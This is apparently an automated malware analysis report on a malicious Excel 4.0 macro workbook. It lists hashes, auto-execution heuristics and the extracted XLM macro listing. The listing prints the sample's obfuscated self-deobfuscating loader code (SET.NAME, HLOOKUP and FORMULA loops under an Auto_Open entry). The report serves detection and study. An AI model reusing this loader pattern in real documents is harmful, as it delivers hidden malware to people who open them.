Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f54e78ae401e529…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:23 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 99f6bf987ff029614b172353095fdd71 SHA-1: 0a174dd8aed8fe7f5008ef5ca35b287884961335 SHA-256: 2f54e78ae401e529bcde924d8ece8053f74a121b7e7c9e0a543a3f0161a01e60
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6685 bytes
SHA-256: 4e6da24fb536b932fbb6f477a4522b534bffd4215751522d5d57f1114627f2df
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HrBxkCdMOZo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E156 
' 0018     22 LABEL : Cell Value, String Constant - bWhSXZE len=0 
' 0018     25 LABEL : Cell Value, String Constant - GRmBcQxACT len=0 
' 0018     21 LABEL : Cell Value, String Constant - hKygLs len=0 
' 0018     25 LABEL : Cell Value, String Constant - hOLpyeBFXm len=0 
' 0018     27 LABEL : Cell Value, String Constant - HtzkUKmWOHnK len=0 
' 0018     23 LABEL : Cell Value, String Constant - JHoOgWYu len=0 
' 0018     24 LABEL : Cell Value, String Constant - JzsCXMSdh len=0 
' 0018     23 LABEL : Cell Value, String Constant - kbtPthVA len=0 
' 0018     27 LABEL : Cell Value, String Constant - LUgwyJxYhAss len=0 
' 0018     25 LABEL : Cell Value, String Constant - mmcipoiLAC len=0 
' 0018     23 LABEL : Cell Value, String Constant - mzYtblHj len=0 
' 0018     21 LABEL : Cell Value, String Constant - NheEYM len=0 
' 0018     24 LABEL : Cell Value, String Constant - ogzuXyCOi len=0 
' 0018     25 LABEL : Cell Value, String Constant - RabVzbFZqi len=0 
' 0018     24 LABEL : Cell Value, String Constant - tnBRdeYKF len=0 
' 0018     23 LABEL : Cell Value, String Constant - vvoNxnky len=0 
' 0018     26 LABEL : Cell Value, String Constant - WDPByVdXtws len=0 
' 0018     22 LABEL : Cell Value, String Constant - YExGnOt len=0 
' 0018     24 LABEL : Cell Value, String Constant - YpZmRcDRK len=0 
' 0018     26 LABEL : Cell Value, String Constant - zJICnFzqjKm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HrBxkCdMOZo,E64,"SET.NAME("JzsCXMSdh",VALUE("0"))",""
'  HrBxkCdMOZo,E68,"SET.NAME("HtzkUKmWOHnK",JzsCXMSdh)",""
'  HrBxkCdMOZo,E73,"SET.NAME("mzYtblHj",JzsCXMSdh)",""
'  HrBxkCdMOZo,E78,"SET.NAME("JHoOgWYu",COUNTA(LUgwyJxYhAss))",""
'  HrBxkCdMOZo,E81,"SET.NAME("RabVzbFZqi",COUNTA(mmcipoiLAC))",""
'  HrBxkCdMOZo,E86,[],""
'  HrBxkCdMOZo,E88,"SET.NAME("hOLpyeBFXm","")",""
'  HrBxkCdMOZo,E91,"HtzkUKmWOHnK",""
'  HrBxkCdMOZo,E95,"SET.NAME("NheEYM",HLOOKUP("*",LUgwyJxYhAss,HtzkUKmWOHnK,FALSE))",""
'  HrBxkCdMOZo,E98,"vvoNxnky",""
'  HrBxkCdMOZo,E100,"SET.NAME("YpZmRcDRK",JzsCXMSdh)",""
'  HrBxkCdMOZo,E105,[],""
'  HrBxkCdMOZo,E108,"YpZmRcDRK",""
'  HrBxkCdMOZo,E110,"hKygLs",""
'  HrBxkCdMOZo,E113,"YExGnOt",""
'  HrBxkCdMOZo,E115,"tnBRdeYKF",""
'  HrBxkCdMOZo,E120,"SET.NAME("ogzuXyCOi",VALUE(HLOOKUP("*",mmcipoiLAC,tnBRdeYKF,FALSE)))",""
'  HrBxkCdMOZo,E124,"zJICnFzqjKm",""
'  HrBxkCdMOZo,E127,"hOLpyeBFXm",""
'  HrBxkCdMOZo,E129,"mzYtblHj",""
'  HrBxkCdMOZo,E132,NEXT(),""
'  HrBxkCdMOZo,E136,"bWhSXZE",""
'  HrBxkCdMOZo,E139,"SET.NAME("f",INT(T(FORMULA(T(hOLpyeBFXm)&"",""&T(bWhSXZE)))))",""
'  HrBxkCdMOZo,E143,"GRmBcQxACT",""
'  HrBxkCdMOZo,E148,NEXT(),""
'  HrBxkCdMOZo,E152,RETURN(),""
'  HrBxkCdMOZo,E183,"SET.NAME("kbtPthVA",E64)",""
'  HrBxkCdMOZo,E188,"LUgwyJxYhAss",""
'  HrBxkCdMOZo,E193,"SET.NAME("mmcipoiLAC",R69C11)",""
'  HrBxkCdMOZo,E197,"SET.NAME("GRmBcQxACT",203)",""
'  HrBxkCdMOZo,E199,"SET.NAME("WDPByVdXtws",5)",""
'  HrBxkCdMOZo,E202,kbtPthVA(),""
'  HrBxkCdMOZo,E203,HALT(),""